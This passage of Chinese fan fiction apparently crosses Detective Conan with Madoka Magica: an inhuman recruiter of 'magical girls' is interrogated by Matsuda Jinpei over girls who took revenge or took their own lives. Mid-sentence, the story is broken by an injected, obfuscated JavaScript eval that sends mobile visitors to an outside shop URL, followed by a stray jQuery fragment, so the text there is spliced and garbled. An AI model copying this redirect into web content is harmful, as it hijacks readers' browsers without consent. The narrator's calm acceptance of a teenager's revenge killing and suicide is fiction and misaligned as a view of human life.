仍旧是审讯室,一桌,二椅,一台灯,唯有二人相对而坐。
“你是故意的吗?”
松田阵平这么问我的时候,我只觉得自己很是无辜。
“我只是说了实话而已。”
“最精妙的谎言往往都由实话构成。”他不以为意地说道,无情地把我手里的杯子收走,“不过你说谎也无所谓,毕竟如果你真的犯罪了,一个悲惨身世也不能让你逃脱法律的制裁。”
我诶了一声。
他翻开手账本,看我一眼:“你还真这么打算啊?”
我只好说:“没有,毕竟我不记得自己做过那种事。”
指的是教唆杀人的事。
虽说我这一个月以来确实是看起来无所事事地在关东转悠,每每看见有资质的魔法少女预备役就总是要凑上去接触一下,但这些少女本身就有仇人、和一些人起了冲突、或者因为某些原因和隐藏在社会黑暗之中的某些存在有联系之类的情况,总不能怪到我头上吧?
我充其量就是询问了她们是否有成为魔法少女的意愿,或者为她们达成自己的目标提供了一些微不足道的小小的帮助罢了。教唆杀人、教唆自杀这种事我怎么会做呢?这分明就是无意义的消耗,有资质的少女可是非常少见的啊,我找了这么久,林林总总加起来估计也没超过20个。
松田阵平笑着说:“是吗,你要不要再想想?”
说着,他从手里那堆资料里挑出一张照片,推到我的面前。
画面有些模糊,看起来侍从监控画面截取的,可以看出是个人头攒动的热闹场景,但从我那头醒目的白发仍然可以清晰地分辨出画面的中心——和我一名褐色长发的少女面对面坐在咖啡店的场景。
“唔……这是,秋叶原啊。”
话说,这照片拍的不就是前天的我吗?照片里的少女我也还有印象,是那个姐姐被杀、抓到了凶手但苦于没有证据的,我记得应该是叫做——
松田没有给我更多的思考时间,又推给我一张照片:“这不是有印象嘛。这张呢?”
几乎和上一张是同样的主人公站位,只是一样的我,不一样的少女,不一样的地点。
我看着背景里的别墅群,说:“是世田谷区吧。”
我与这名少女的相遇是在5天前了,我记得她那时候是在追寻父母被杀、家族企业的资金被掠夺的幕后真凶,警方的调查结果是同行的竞争对手作对,把与他们家世代交好的家族企业的老板抓了进去,她不相信这个结果,仍旧在苦苦追寻。我告诉她确实另有真凶,但以她一人之力,最好还是不要再牵扯进去。那时候她表情激动,言辞激烈,狠狠地扑上来抓住我的袖子——
这个场景被人抓拍了下来。
呀,看起来好像是很容易引人误会呢?
松田阵平默不作声,又递给我一张新的。
“栃木县。”
这名少女好像是父亲因为杀人嫌疑被捕,在跟着她雇佣的侦探辛辛苦苦地搜查证据,想要洗清父亲的嫌疑。但调查持续很长一段时间都没有进展,她的父亲实际上是某个盘亘在东京的某个帮派的底层人员,只是因为执行任务的时候出了岔子,害怕被所属的组织报复,干脆往自己身上泼了脏水让自己被逮捕,以为进了监狱就能逃过一劫——但事实上,没过几天,我就在报纸上看到了他在狱中死于心脏麻痹的新闻。我离开的时候,她已经接近崩溃,但仍在不死不休的追查——
看来她没能活下来,只是不知道是自杀,还是死于那个组织的报复。
“群马县。”
“……”
“……”
………
……
“啊,这是神奈川县吧?”
林林总总,大同小异。到后面,我几乎放弃了回忆,并且再次感慨了这个世界的人们的命运真是各有各的坎坷,各个命途多舛,身怀绝寄。
怪不得我筛选出来预备役们也不怎么平凡,和我老家的和平世界形成了鲜明的对比——没错啊,除了宇宙被改写过两次以外,都挺和平的。
最后一张照片被我扣在桌面上。桌面上已经整整齐齐地摊上了十四张照片,几乎把桌面排满,看起来颇为壮观。
“所以,你承认这些照片里的人都是你?”
“是的,确实是我。”
我觉得这没什么不好承认的,这些可都是我的招聘对象,我和她们每一个人的对话我都记得清清楚楚,有没有教唆她们我能不知道吗?
但松田阵平显然和我有不一样的想法。
“也就是说,你和她们每个都见过面。那她们的后来的遭遇,你有了解吗?”
我说:“如果有在新闻上登出的话,我是知道的。”
虽然光凭推测我就能知道大部分后续,但毕竟世事无常。
他逼问道:“所以你想说你和她们的死毫无关系?”
“如果你想问我在她们的死亡中起到了什么作用的话,”我纠正他的说法,“那确实不能说我对她们的选择没有任何影响——我姑且是阻止过她们的哦?”
“哦,你的意思是你非但不是促使他们死亡的人,反而是看到她们不妙的处境想要上去帮一把的好心人。”
听起来完全没信。
“也算是一种可能吧。怀疑总归是双向的,既然你能够怀疑我是一个坏事做尽的教唆犯,那也应该怀疑我是一个弄巧成拙的好人才对。”
“着就要看你的表现了。努力向我证明你如同你所说的那样是个好人吧,嫌疑人先生。”
他说着,抽出一份纸质资料放在面前。
“我们还有很多时间。”
“我们首次观察到你的踪迹是在东京新宿区,9月7日13:05,你前往当地一家有名的咖啡馆,在那里结识了一位14岁的少女。监控和店员证词显示,你们交谈了一个多小时,然后是结伴离开的咖啡馆。离开咖啡馆之后,监控里很快就捕捉不到你们的身影了。再次被发现是20个小时后,她在一名被残忍杀害的男性受害者家里上吊自杀。”
“事后调查发现男性死者确实是这名自杀的少女亲自动手解决的,男性死者与自杀者父亲的失踪案件有千丝万缕的联系,但是由于案件的公诉期过了,自杀者难以提供足够的证据让死者付出应有的代价,现场所有的线索都显示这是一场由她精心策划并实施的谋杀。”
“这名少女的名字叫做——”
我思考了一下,是了,我当然还记得,这是我想要招揽的第一位魔法少女预备役,虽说在我提出邀约时被狠狠地拒绝了,不过出于某种对她回心转意的期盼,在她实施整个杀人计划的时候,我确实一直跟着她,姑且可以算是她短暂的人生的最后的见证者了吧。
“木岛奈奈。”
“……你果然知道。”
我当然知道了,这可是我看中的第一个好苗子,我为她花费了大量的时间和精力。不仅在她踌躇不前并未自己的犹豫不决二深感痛苦的时候,对她进行了一番言语上的疏导,帮助她深刻地认识到自己的愿望;还提出过帮她完善一遍杀人计划,只可惜被毫不留情地拒绝了;我甚至耐心地陪她走完了整个流程,只可惜在最后她拒绝了我带她离开的建议,并且最后也没有回心转意转而向我许愿。
木岛小姐是个纯粹的好人,一直拒绝我的帮助,也是出于对我的保护。见证她的死亡时,我的心里充满了纯粹的遗憾:有天赋、有资质,还能将杀伐果断和心地善良两种品质相结合的少女,也不知道什么时候才能遇到下一个了。
“在咖啡店的时候我感觉她的状态不太对劲,就尝试着跟她搭话了。”
“你跟她聊了什么?”
“聊了木岛小姐埋藏在心底的愿望哦。”
松田阵平:“什么愿望?”
我笑了:“还能是什么愿望?自然是手刃仇人的愿望了。”
“木岛小姐很痛苦啊,她非常痛恨那个害她幼年丧父的男人,也很愤怒法律没能为她主持公道。只可惜,复仇这种任务过于私人和隐秘,并不能由他人代劳,她无论如何也不愿意接受我的帮助。”这种恨意浓烈到让她甚至具备成为魔法少女的潜质,只可惜,这样的孩子无论作为普通人,还是作为魔法少女,都很难活得长久。
松田警官:“……如果她同意了,你打算怎么帮助她?”
这句话或许也可以这么说:如果她真的同意你协助,你会帮她杀人吗?
然而狡猾的犯罪嫌疑人并没有顺着他的意思回答:“当然是做木岛小姐希望我做的事了。”把她变成魔法少女之类的。
但杀人的话还真不行。我自己都不知道自己的哪些行动会被远在另一个世界的老板注意到,万一被她发现我在这边的世界把人搞死,就算我解
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13706556|144500||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
决的是个人渣,也很难保证BOSS不会拿我开刀。
“但她要我杀人的话,我肯定会拒绝的啦。”
“那你是怎么注意到她的问题的?”
“直接看到的。像她这样的人,在我的眼里就像打了探照灯一样显眼呢。”
被那样浓重的情绪和意念包裹着,想不注意到都难。
松田阵平并不相信:“你看了一眼就知道她要杀人?”
“这个当然看不出来,是后面聊天的时候知道的。她的情绪不对劲表现得很明显。”
说法没有破绽。
松田阵平无意识点了点桌子。
“既然你知道她要杀人,为什么不阻止,或者报警?”
其实知情不报这种事充其量也只能算道德问题,不算违法,但他还是出于某种莫名的预感问出了口。
“为什么要阻止?”我不能理解地问,“那是木岛小姐的愿望啊。”
哪有会阻止少女实现愿望的QB啊?哦,如果是我的现老板统治之前的时期,确实会有QB这么做,但现在这种“歪曲少女的思想来诱导她们向自己许愿”的行为已经被明令禁止了,就算是我也不会去踩这样的地雷。“被拒绝了就禁止再死缠烂打”,这样的规矩我也是遵守了的。
“那是她的愿望吗?”卷发警官反问,“如果心愿实现,那她为什么还要自杀?”
为什么会自杀?那不是——
“愿望实现了之后会死亡,很正常啊。”
——很正常嘛。
许愿,实现心愿,然后死亡。我的工作记忆库里,属于少女的成长链条就是如此变化发展。有什么不对劲的?说到底,如果最重要的心愿已经实现,那生命怎么样,难道不是根本就已经无所谓了吗?
松田阵平敲击桌面的指尖顿住。
不是预想中的“大概是畏罪自杀”、“我也不太清楚”之类的应付式回答,而是非常认真地、简直如同条件反射一般自然而然、谁都能看出是发自内心的回答。
他对少女复仇成功后的自杀的抉择表现出了一种非常理所当然的态度。
之前在公园聊天的时候也是,少年宣扬自己奇妙的理论和研究时,表现的也是和现在一样的态度——对生命价值的轻贱和全然漠视、对“愿望”的极度接近病态的推崇、稀缺的同理心和不似对待同族的冷漠心理,而他则是从这种若有似无的态度中,敏锐地感受到了某种危机的存在。
很难说他来亲自审问这个除了模糊不清的录像和照片外没有任何明确证据指明他教唆犯案的嫌疑人,到底是出于对这个少年不成型的怀疑和猜测,还是出于少年在公园中宣扬的那一通“许愿万能”的言论的不安。
如果放任这个人不管,假以时日,他一定会造成极大的危害。
没有任何证据的、称得上是诋毁的猜测,就这么直白地被他的直觉从混乱的思绪中抽出,以异常鲜明的方式陈列在他的脑海里,无法忽视。
“你真的没有协助过她的任何行动?”警官第二次问出这个问题。
“没有。被拒绝了就不能再纠缠,这是我工作的原则。”虽说是被迫的。
“工作的意思是……你帮助她们实现愿望,是你的‘工作’?”
“嗯……可以这么说,这算是我工作的一环吧。不过,有一个前提。”
“——是‘许愿’。”
“是‘许愿’吗?”
我们的声音同时响起,短暂的声音重叠之后,是稍显漫长的沉默。
松田警官像是在进行严肃的思考,眉头紧皱:
“所以,你在公园说的那些话,都是真的?”
我用我从始至终都非常诚恳的态度保证:“我没有说谎的理由。”
松田警官终于开始思考我话语的真实性,这让我产生了一些隐秘的期待。
莫非,难道说,要松田警官来向我许愿也不是没可能……?
但在我正正领口,清清嗓子,打算开口发表我的演讲之前,松田警官突然摘下墨镜,用他那双正直的凫青色眼睛直视着我。
我非常茫然,并且产生了一种不好的预感。
“今天直接带你来审讯室,是我疏忽了。”
“……?”
他有些痛心疾首地道:“在来之前,我应该先带你去精神病院做个检查。”
我:……